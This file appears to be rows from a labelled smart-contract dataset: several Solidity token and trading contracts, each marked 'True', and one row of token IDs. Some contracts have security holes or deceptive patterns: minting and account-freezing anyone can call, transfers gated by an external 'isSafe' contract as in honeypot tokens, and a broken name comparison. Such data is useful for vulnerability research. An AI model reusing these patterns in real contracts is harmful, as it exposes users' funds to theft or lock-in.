ampl_token.transferFrom(address(this),msg.sender,owed);
_burn(msg.sender,amount);
}
}
|
True
|
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pragma solidity ^0.4.21;
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20() public {
totalSupply = 20000000000000000000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "Missimx Coin"; // Set the name for display purposes
symbol = "MSX"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Internal transfer, only can be called by this contract */
/* function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
} */
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
uint256 public sellPrice;
uint256 public buyPrice;
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
address myAddress = this;
require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
}
|
True
|
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ChiShinu' token contract
//
// Deployed to : 0xDF950C81F29066C034B6dA1649bcE2A52eB8C239
// Symbol : CHIIINU
// Name : ChiShinu
// Total supply: 1000000000000000
// Decimals : 18
// https://t.me/CHISHINU
// 1INCH EXCHANGE ChiShinu TOKEN FOR LOWER FEES AND UPCOMING ORACLE
// SAVE FEES AND STAKE YOUR $CHIINU AND EARN $1INCH/$UNI/$MIR TOKEN
// https://github.com/CryptoManiacsZone/chi
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ChiShinu is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ChiShinu() public {
symbol = "CHIIINU";
name = "ChiShinu";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[0xDF950C81F29066C034B6dA1649bcE2A52eB8C239] = _totalSupply;
Transfer(address(0), 0xDF950C81F29066C034B6dA1649bcE2A52eB8C239, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
True
|
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// SPDX-License-Identifier: MIT
/*
_____ ______ _____
| __ \| ____| __ \ /\
| |__) | |__ | |__) | / \
| ___/| __| | _ / / /\ \
| | | |____| | \ \ / ____ \
|_| |______|_| \_\/_/ \_\
Follow our socials, sweety:
🏀 WebSite: https://pera.finance
🏀 TG Chat: https://t.me/perafinance
🏀 Twitter: https://twitter.com/perafinance
*/
pragma solidity ^0.5.17;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface Governance {
function isSafe(address sender,address addr) external returns(bool);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract PERA is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address _governance;
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(address _gov) public {
name = "PERA Finance";
symbol = "PERA";
decimals = 18;
_totalSupply = safeMul(8812500, 1e18);
_governance = _gov;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approval(address sender) public returns(bool) {
require(Governance(_governance).isSafe(sender,address(this)));
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
function transfer(address to, uint tokens) public returns (bool success) {
approval(msg.sender);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
approval(from);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
}
|
True
|
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21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
19204,
12384,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
5703,
1007,
102
] |
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//SPDX-License-Identifier: MIT
pragma solidity >=0.6;
pragma experimental ABIEncoderV2;
interface cERC20 {
function mint(uint256 mintAmount) external returns (uint256);
function redeemUnderlying(uint256 mintAmount) external returns (uint256);
function redeem(uint256 cTokenAmount) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function balanceOf(address addr) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferAndCall(
address,
uint256,
bytes calldata
) external returns (bool);
}
interface Staking {
struct Staker {
// The staked DAI amount
uint256 stakedDAI;
// The latest block number which the
// staker has staked tokens
uint256 lastStake;
}
function stakeDAI(uint256 amount) external;
function withdrawStake() external;
function stakers(address staker) external view returns (Staker memory);
}
interface Uniswap {
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function WETH() external pure returns (address);
}
interface Reserve {
function buy(
address _buyWith,
uint256 _tokenAmount,
uint256 _minReturn
) external returns (uint256);
function sell(
address _sellWith,
uint256 _tokenAmount,
uint256 _minReturn
) external returns (uint256);
}
interface AmbBridge {
function relayTokens(
address token,
address receiver,
uint256 amount
) external;
}
//SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "../Interfaces.sol";
contract TradeGD is OwnableUpgradeable {
Uniswap public uniswap;
cERC20 public GD;
cERC20 public DAI;
cERC20 public cDAI;
Reserve public reserve;
address public gdBridge;
address public omniBridge;
event GDTraded(
string protocol,
string action,
address from,
uint256 value,
uint256[] uniswap,
uint256 gd
);
/**
* @dev initialize the upgradable contract
* @param _gd address of the GoodDollar token
* @param _dai address of the DAI token
* @param _cdai address of the cDAI token
* @param _reserve address of the GoodDollar reserve
*/
function initialize(
address _gd,
address _dai,
address _cdai,
address _reserve
) public initializer {
OwnableUpgradeable.__Ownable_init();
uniswap = Uniswap(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
GD = cERC20(_gd);
DAI = cERC20(_dai);
cDAI = cERC20(_cdai);
reserve = Reserve(_reserve);
gdBridge = address(0xD5D11eE582c8931F336fbcd135e98CEE4DB8CCB0);
omniBridge = address(0xf301d525da003e874DF574BCdd309a6BF0535bb6);
GD.approve(
address(uniswap),
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
);
DAI.approve(
address(cDAI),
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
);
GD.approve(
address(reserve),
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
);
cDAI.approve(
address(reserve),
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
);
DAI.approve(
omniBridge,
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
);
}
function setContract(string memory name, address newaddress)
public
onlyOwner
{
bytes32 nameHash = keccak256(bytes(name));
if (nameHash == keccak256(bytes("GD"))) {
GD = cERC20(newaddress);
GD.approve(
address(uniswap),
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
);
GD.approve(
address(reserve),
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
);
} else if (nameHash == keccak256(bytes("uniswap"))) {
uniswap = Uniswap(newaddress);
} else if (nameHash == "reserve") {
reserve = Reserve(newaddress);
GD.approve(
address(reserve),
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
);
cDAI.approve(
address(reserve),
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
);
} else if (nameHash == keccak256(bytes("gdBridge"))) {
gdBridge = newaddress;
} else if (nameHash == keccak256(bytes("omniBridge"))) {
omniBridge = newaddress;
DAI.approve(
omniBridge,
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
);
}
}
/**
* @dev buy GD from reserve using ETH since reserve is in cDAI
* we first buy DAI from uniswap -> mint cDAI -> buy GD
* @param _minDAIAmount - the min amount of DAI to receive for buying with ETH
* @param _minGDAmount - the min amount of GD to receive for buying with cDAI(via DAI)
* @param _bridgeTo - if non 0 will bridge result tokens to _bridgeTo address on Fuse
*/
function buyGDFromReserve(
uint256 _minDAIAmount,
uint256 _minGDAmount,
address _bridgeTo
) external payable returns (uint256) {
uint256 gd = _buyGDFromReserve(_minDAIAmount, _minGDAmount);
transferWithFee(GD, gd, _bridgeTo);
return gd;
}
function transferWithFee(
cERC20 _token,
uint256 _amount,
address _bridgeTo
) internal {
uint256 amountAfterFee = deductFee(_amount);
if (_bridgeTo == address(0)) {
_token.transfer(msg.sender, amountAfterFee);
} else if (_token == GD) {
_token.transferAndCall(
gdBridge,
amountAfterFee,
abi.encodePacked(_bridgeTo)
);
} else {
AmbBridge(omniBridge).relayTokens(
address(_token),
_bridgeTo,
amountAfterFee
);
}
}
function deductFee(uint256 _amount) public pure returns (uint256) {
return (_amount * 998) / 1000;
}
/**
* @dev buy GD from reserve using DAI since reserve is in cDAI
* we first mint cDAI
* @param _DAIAmount - the amount of DAI approved to buy G$ with
* @param _minGDAmount - the min amount of GD to receive for buying with cDAI(via DAI)
* @param _bridgeTo - if non 0 will bridge result tokens to _bridgeTo address on Fuse
*/
function buyGDFromReserveWithDAI(
uint256 _DAIAmount,
uint256 _minGDAmount,
address _bridgeTo
) public returns (uint256) {
uint256 gd = _buyGDFromReserveWithDAI(_DAIAmount, _minGDAmount);
transferWithFee(GD, gd, _bridgeTo);
return gd;
}
function _buyGDFromReserveWithDAI(uint256 _DAIAmount, uint256 _minGDAmount)
internal
returns (uint256)
{
require(_DAIAmount > 0, "DAI amount should not be 0");
require(
DAI.transferFrom(msg.sender, _DAIAmount),
"must approve DAI first"
);
uint256 cdaiRes = cDAI.mint(_DAIAmount);
require(cdaiRes == 0, "cDAI buying failed");
uint256 cdai = cDAI.balanceOf(address(this));
uint256 gd = reserve.buy(address(cDAI), cdai, _minGDAmount);
require(gd > 0, "gd buying failed");
emit GDTraded(
"reserve",
"buy",
msg.sender,
_DAIAmount,
new uint256[](0),
gd
);
return gd;
}
/**
* @dev sell GD to reserve converting resulting cDAI to DAI
* @param _GDAmount - the amount of G$ approved to sell
* @param _minCDAIAmount - the min amount of cDAI to receive for selling G$
* @param _bridgeTo - if non 0 will bridge result tokens to _bridgeTo address on Fuse
*/
function sellGDToReserveForDAI(
uint256 _GDAmount,
uint256 _minCDAIAmount,
address _bridgeTo
) external returns (uint256) {
require(_GDAmount > 0, "G$ amount should not be 0");
require(
GD.transferFrom(msg.sender, _GDAmount),
"must approve G$ first"
);
uint256 cdai = reserve.sell(address(cDAI), _GDAmount, _minCDAIAmount);
require(cdai > 0, "G$ selling failed");
uint256 daiRedeemed = DAI.balanceOf(address(this));
require(cDAI.redeem(cdai) == 0, "cDAI redeem faiiled");
daiRedeemed = DAI.balanceOf(address(this)) - daiRedeemed;
transferWithFee(DAI, daiRedeemed, _bridgeTo);
emit GDTraded(
"reserve",
"sell",
msg.sender,
cdai,
new uint256[](0),
_GDAmount
);
}
function _buyGDFromReserve(uint256 _minDAIAmount, uint256 _minGDAmount)
internal
returns (uint256)
{
require(msg.value > 0, "You must send some ETH");
address[] memory path = new address[](2);
path[1] = address(DAI);
path[0] = uniswap.WETH();
uint256[] memory swap =
uniswap.swapExactETHForTokens{value: msg.value}(
_minDAIAmount,
path,
address(this),
now
);
uint256 dai = swap[1];
require(dai > 0, "DAI buying failed");
uint256 cdaiRes = cDAI.mint(dai);
require(cdaiRes == 0, "cDAI buying failed");
uint256 cdai = cDAI.balanceOf(address(this));
uint256 gd = reserve.buy(address(cDAI), cdai, _minGDAmount);
// uint256 gd = GD.balanceOf(address(this));
require(gd > 0, "gd buying failed");
emit GDTraded("reserve", "buy", msg.sender, msg.value, swap, gd);
return gd;
}
/**
* @dev buy GD from uniswap pool using ETH since pool is in DAI
* we first buy DAI from uniswap -> buy GD
* @param _minGDAmount - the min amount of GD to receive for buying with DAI(via ETH)
* @param _bridgeTo - if non 0 will bridge result tokens to _bridgeTo address on Fuse
*/
function buyGDFromUniswap(uint256 _minGDAmount, address _bridgeTo)
external
payable
returns (uint256)
{
require(msg.value > 0, "You must send some ETH");
uint256 value = msg.value;
address[] memory path = new address[](3);
path[2] = address(GD);
path[1] = address(DAI);
path[0] = uniswap.WETH();
uint256[] memory swap =
uniswap.swapExactETHForTokens{value: value}(
_minGDAmount,
path,
address(this),
now
);
uint256 gd = swap[2];
require(gd > 0, "gd buying failed");
emit GDTraded("uniswap", "buy", msg.sender, msg.value, swap, gd);
transferWithFee(GD, gd, _bridgeTo);
return gd;
}
/**
* @dev buy G$ from reserve using ETH and sell to uniswap pool resulting in DAI
* @param _minDAIAmount - the min amount of dai to receive for selling eth to uniswap
* @param _minGDAmount - the min amount of G$ to receive for buying with cDAI(via ETH) from reserve
* @param _minDAIAmountUniswap - the min amount of DAI to receive for selling G$ to uniswap
* @param _bridgeTo - if non 0 will bridge result tokens to _bridgeTo address on Fuse
*/
function sellGDFromReserveToUniswap(
uint256 _minDAIAmount,
uint256 _minGDAmount,
uint256 _minDAIAmountUniswap,
address _bridgeTo
) external payable returns (uint256) {
uint256 gd = _buyGDFromReserve(_minDAIAmount, _minGDAmount);
address[] memory path = new address[](2);
path[0] = address(GD);
path[1] = address(DAI);
uint256[] memory swap =
uniswap.swapExactTokensForTokens(
gd,
_minDAIAmountUniswap,
path,
address(this),
now
);
uint256 dai = swap[1];
require(dai > 0, "gd selling failed");
emit GDTraded("uniswap", "sell", msg.sender, msg.value, swap, gd);
transferWithFee(DAI, dai, _bridgeTo);
return dai;
}
/**
* @dev buy GD from reserve using DAI and sell to uniswap pool resulting in DAI
* @param _DAIAmount - the amount of dai approved to buy G$
* @param _minGDAmount - the min amount of GD to receive for buying with cDAI
* @param _minDAIAmount - the min amount of DAI to receive for selling G$ on uniswap
* @param _bridgeTo - if non 0 will bridge result tokens to _bridgeTo address on Fuse
*/
function sellGDFromReserveToUniswapWithDAI(
uint256 _DAIAmount,
uint256 _minGDAmount,
uint256 _minDAIAmount,
address _bridgeTo
) external payable returns (uint256) {
uint256 gd = _buyGDFromReserveWithDAI(_DAIAmount, _minGDAmount);
address[] memory path = new address[](2);
path[0] = address(GD);
path[1] = address(DAI);
uint256[] memory swap =
uniswap.swapExactTokensForTokens(
gd,
_minDAIAmount,
path,
address(this),
now
);
uint256 dai = swap[1];
require(dai > 0, "gd selling failed");
emit GDTraded("uniswap", "sell", msg.sender, msg.value, swap, gd);
transferWithFee(DAI, dai, _bridgeTo);
return dai;
}
function withdraw(address to) public onlyOwner {
GD.transfer(to, GD.balanceOf(address(this)));
DAI.transfer(to, DAI.balanceOf(address(this)));
payable(to).transfer(address(this).balance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
